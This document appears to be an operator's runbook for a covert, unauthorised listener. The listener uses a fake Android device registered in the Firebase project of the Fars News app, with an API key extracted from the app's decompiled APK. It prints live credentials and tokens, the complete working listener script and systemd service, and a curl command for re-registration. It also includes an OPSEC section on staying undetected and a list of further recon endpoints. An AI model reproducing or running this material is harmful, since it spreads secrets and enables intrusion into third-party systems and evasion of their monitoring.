# IRGC Ghost Device — FCM Push Notification Listener

> **Status: LIVE AND OPERATIONAL**
> Deployed: February 28, 2026 23:02 UTC
> Container: CT105 (toolbox) — 10.0.0.99
> Service: `irgc-fcm-listener.service` (enabled, auto-start on boot)

---

## What This Is

We registered a fake Android device inside the IRGC's Firebase project (`fars-next` / `823560469881`) using their leaked, unrestricted API key extracted from the `farsnews-app.apk`. A persistent Python listener on CT105 maintains a TCP connection to Google's `mtalk.google.com:5228` and captures every push notification the IRGC sends to all Fars News app users.

---

## Deployment Details

| Component | Value |
|-----------|-------|
| **Container** | CT105 (toolbox) — `10.0.0.99` |
| **Script** | `/opt/irgc-fcm-listener/listener.py` |
| **Python venv** | `/opt/irgc-fcm-listener/venv/` |
| **Service** | `irgc-fcm-listener.service` |
| **Logs** | `/opt/irgc-fcm-listener/logs/irgc-fcm-YYYY-MM-DD.json` |
| **Connection** | `mtalk.google.com:5228` (TCP, IPv6) |
| **Memory** | ~23 MB |
| **Auto-reconnect** | 30-second retry on connection loss |
| **Auto-start** | Yes (enabled via systemd) |

### Dependencies Installed (venv)

```
push_receiver==0.1.1
protobuf==3.20.3       (downgraded from 7.x for push_receiver compatibility)
oscrypto==1.3.0        (patched — regex fix for OpenSSL 3.x version detection)
http_ece==1.2.1
cryptography==46.0.5
cffi==2.0.0
asn1crypto==1.5.1
```

### Patches Applied

**oscrypto OpenSSL 3.x fix** — Two files patched to handle multi-digit version numbers:
- `/opt/irgc-fcm-listener/venv/lib/python3.11/site-packages/oscrypto/_openssl/_libcrypto_ctypes.py` (line 42)
- `/opt/irgc-fcm-listener/venv/lib/python3.11/site-packages/oscrypto/_openssl/_libcrypto_cffi.py` (line 39)
- Changed regex `\d\.\d\.\d[a-z]*` → `\d+\.\d+\.\d+[a-z]*` to match `OpenSSL 3.0.18`

---

## Credentials

```
# Firebase / Google Cloud (from farsnews-app.apk decompilation)
API Key:           AIzaSyDp9K7YksfYf-JvGOS7YCNv7JbA9P-XemE
GCP Project ID:    823560469881
Project Name:      fars-next
Firebase App ID:   1:823560469881:android:a2e494ac003a2969c383a8
Storage Bucket:    fars-next.appspot.com

# Our Registered Ghost Device
Installation ID:   fWHh5X5IsUmmdtGGLQOV9H
Refresh Token:     3_AS3qfwIZEFw2_ld1jYfT_AO2834pt03vGFgh-zZeE0Emv1wp06DSnvealH7jYxeyY9TNVtQFeVUG_Ipor8-fuSmWmgpiIy-BD82seRpSSJ6jpsk

# FCM Push Token (receives notifications)
FCM Token:         fWHh5X5IsUmmdtGGLQOV9H:APA91bGR8MteNn9o6dTbOtWRxVZoJsuNNN0hiNTZWo9sUnDTDWtR-mmXslzoE8IQif3aV06C8fFX792G7wq2DTA02gYlxPI_tlEZJLJG5jqIGmBLzMNzsUg

# GCM Device Credentials (authenticates the persistent connection)
Android ID:        4853801490421017489
Security Token:    1176940086212703190
```

---

## How It Works

```
IRGC Fars News Backend (farsnews.ir)
        │
        ▼
Firebase Cloud Messaging (Google servers)
        │
        ├── Broadcasts to ALL registered FCM tokens
        │
        ▼
┌─── Real Fars News users (millions of Android devices)
│
└─── OUR GHOST DEVICE (CT105 toolbox)
         │
         ├── TCP connection to mtalk.google.com:5228
         │
         ▼
    listener.py → JSON log files + systemd journal
```

---

## The Deployed Script

`/opt/irgc-fcm-listener/listener.py`:

```python
#!/usr/bin/env python3
"""
IRGC Fars News - FCM Push Notification Listener
"""

import json
import sys
import time
from datetime import datetime, timezone
from pathlib import Path

import push_receiver

CREDENTIALS = {
    "gcm": {
        "androidId": "4853801490421017489",
        "securityToken": "1176940086212703190",
    },
}

LOG_DIR = Path("/opt/irgc-fcm-listener/logs")
LOG_DIR.mkdir(parents=True, exist_ok=True)

SEP = "=" * 60


def log_notification(notification_data):
    timestamp = datetime.now(timezone.utc).isoformat()
    entry = {"received_at": timestamp, "data": notification_data}

    print()
    print(SEP)
    print("[%s] IRGC PUSH NOTIFICATION RECEIVED" % timestamp)
    print(SEP)
    print(json.dumps(entry, indent=2, ensure_ascii=False))
    print(SEP)
    print()
    sys.stdout.flush()

    date_str = datetime.now(timezone.utc).strftime("%Y-%m-%d")
    log_file = LOG_DIR / ("irgc-fcm-" + date_str + ".json")
    with open(log_file, "a", encoding="utf-8") as f:
        f.write(json.dumps(entry, ensure_ascii=False) + "\n")


def on_notification(obj, notification, data_message):
    payload = {}
    if notification:
        payload["notification"] = {
            "title": getattr(notification, "title", None),
            "body": getattr(notification, "body", None),
            "icon": getattr(notification, "icon", None),
            "tag": getattr(notification, "tag", None),
            "color": getattr(notification, "color", None),
            "click_action": getattr(notification, "click_action", None),
        }
    if data_message:
        try:
            if hasattr(data_message, "raw_data"):
                payload["raw_data"] = data_message.raw_data.decode("utf-8", errors="replace")
            if hasattr(data_message, "app_data"):
                payload["app_data"] = [
                    {"key": item.key, "value": item.value}
                    for item in data_message.app_data
                ]
        except Exception as e:
            payload["parse_error"] = str(e)
            payload["raw"] = str(data_message)
    log_notification(payload)


def main():
    print("[*] IRGC FCM Listener starting...")
    print("[*] Project: fars-next (823560469881)")
    print("[*] Android ID: %s" % CREDENTIALS["gcm"]["androidId"])
    print("[*] Log directory: %s" % LOG_DIR)
    print("[*] Connecting to mtalk.google.com:5228...")
    print()
    sys.stdout.flush()

    while True:
        try:
            print("[+] Establishing GCM persistent connection...")
            sys.stdout.flush()
            push_receiver.listen(
                credentials=CREDENTIALS,
                callback=on_notification,
                received_persistent_ids=[],
            )
        except KeyboardInterrupt:
            print("\n[!] Stopped by user.")
            sys.exit(0)
        except Exception as e:
            print("\n[!] Connection lost: %s" % e)
            print("[*] Reconnecting in 30 seconds...")
            sys.stdout.flush()
            time.sleep(30)


if __name__ == "__main__":
    main()
```

---

## systemd Service

`/etc/systemd/system/irgc-fcm-listener.service`:

```ini
[Unit]
Description=IRGC Fars News FCM Push Notification Listener
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
Environment=OSCRYPTO_USE_OPENSSL=/usr/lib/x86_64-linux-gnu/libcrypto.so.3,/usr/lib/x86_64-linux-gnu/libssl.so.3
ExecStart=/opt/irgc-fcm-listener/venv/bin/python3 /opt/irgc-fcm-listener/listener.py
WorkingDirectory=/opt/irgc-fcm-listener
Restart=always
RestartSec=30
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target
```

---

## Operations Quick Reference

```bash
# Check status
ssh root@10.0.0.245 "pct exec 105 -- systemctl status irgc-fcm-listener"

# Watch live notifications
ssh root@10.0.0.245 -t "pct exec 105 -- journalctl -u irgc-fcm-listener -f"

# Check log files
ssh root@10.0.0.245 "pct exec 105 -- ls -la /opt/irgc-fcm-listener/logs/"

# Read today's log
ssh root@10.0.0.245 "pct exec 105 -- cat /opt/irgc-fcm-listener/logs/irgc-fcm-$(date -u +%Y-%m-%d).json"

# Restart
ssh root@10.0.0.245 "pct exec 105 -- systemctl restart irgc-fcm-listener"

# Stop
ssh root@10.0.0.245 "pct exec 105 -- systemctl stop irgc-fcm-listener"

# Verify active TCP connection
ssh root@10.0.0.245 "pct exec 105 -- ss -tnp | grep 5228"
```

---

## What Gets Captured

Every push notification sent to all Fars News app users:

| Field | Description |
|-------|-------------|
| **title** | Notification headline (likely in Farsi) |
| **body** | Notification content/summary |
| **click_action** | Deep link URL (what opens when user taps) |
| **app_data** | Custom key-value pairs (article IDs, categories, tags) |
| **raw_data** | Any additional binary/JSON payload |
| **received_at** | UTC timestamp when we captured it |

Logs are stored as NDJSON (one JSON object per line) in daily files: `irgc-fcm-YYYY-MM-DD.json`

---

## OPSEC: How We Stay Invisible

### Detection Vectors

| Vector | Risk | Mitigation |
|--------|------|------------|
| **Firebase Console Installations** | LOW | Our FID is 1 among millions of Fars News users. Needle in haystack. |
| **Firebase Analytics** | LOW | We never send analytics events. Listener only receives. |
| **Unusual API calls** | MEDIUM | No HTTP API calls. Only a passive TCP connection. |
| **IP address on GCM connection** | MEDIUM | Google sees CT105's IP. Route through residential VPN for best cover. |
| **Device fingerprint** | LOW | `push_receiver` mimics real Android at GCM protocol level. |
| **JWT refresh pattern** | LOW | Only refresh every 7 days. Same as real device. |

### Rules

1. **NEVER make unnecessary API calls** — every call is logged in GCP audit logs
2. **The listener is PASSIVE** — one TCP connection, receive only, never sends to IRGC servers
3. **Don't re-register devices** — we have a valid FID, creating more increases footprint
4. **Log locally only** — no cloud forwarding
5. **If connection drops permanently** — they may have rotated keys or purged installations

### Why Nearly Undetectable

The FCM persistent connection protocol is identical for every Android device worldwide. Our connection looks exactly like any of the billions of real Android devices maintaining FCM connections. Google doesn't distinguish between a real phone and a Python script at the protocol level.

The IRGC would need to: open Firebase Console, navigate to Installations, inspect millions of records individually, notice one FID lacks analytics, cross-reference with GCP audit logs. Theoretically possible, practically never done.

---

## Token Maintenance

- **GCM credentials (androidId + securityToken)** — do not expire, persist until explicitly unregistered
- **FCM push token** — does not expire unless explicitly revoked
- **JWT auth token** — expires every 7 days but is NOT needed for the passive listener (only for API calls)

### Re-registration (only if token dies)

```bash
# Refresh JWT
curl -X POST "https://firebaseinstallations.googleapis.com/v1/projects/fars-next/installations/fWHh5X5IsUmmdtGGLQOV9H/authTokens:generate" \
     -H "Content-Type: application/json" \
     -H "x-goog-api-key: AIzaSyDp9K7YksfYf-JvGOS7YCNv7JbA9P-XemE" \
     -H "x-firebase-client: fire-installations/17.0.0" \
     -d '{"installation":{"sdkVersion":"a:17.0.0"}}'
```

---

## Additional Recon Possible With These Credentials

| Endpoint | Purpose | Risk |
|----------|---------|------|
| Firebase Remote Config | Feature flags, A/B tests | MEDIUM — API call logged |
| Firebase Dynamic Links | Short URLs, deep links | MEDIUM — API call logged |
| Firebase Pub/Sub | Message topics (returned 403, meaning active) | HIGH — needs service account |
| Firestore/RTDB | Real-time database | Depends on security rules |

---

## Notes

- Iran's internet blackout may prevent IRGC backend from reaching Firebase to send notifications
- If notifications arrive, they'll likely be in Farsi — breaking news, propaganda alerts, military updates
- The IRGC developer responsible is likely TSIT (based in Mashhad) — they shipped the unrestricted API key in the APK
- This is entirely passive collection — we receive broadcasts Google delivers to all registered devices
- Source credentials: `C:\Users\Squir\Desktop\IRAN\DUMP_2_28\credentials\`
- Setup reference doc: `C:\Users\Squir\Desktop\IRAN-FCM-GHOST-DEVICE-SETUP.md`

---

*Deployed: February 28, 2026*
*Last verified: February 28, 2026 23:05 UTC — active (running), ESTABLISHED connection to mtalk.google.com:5228*
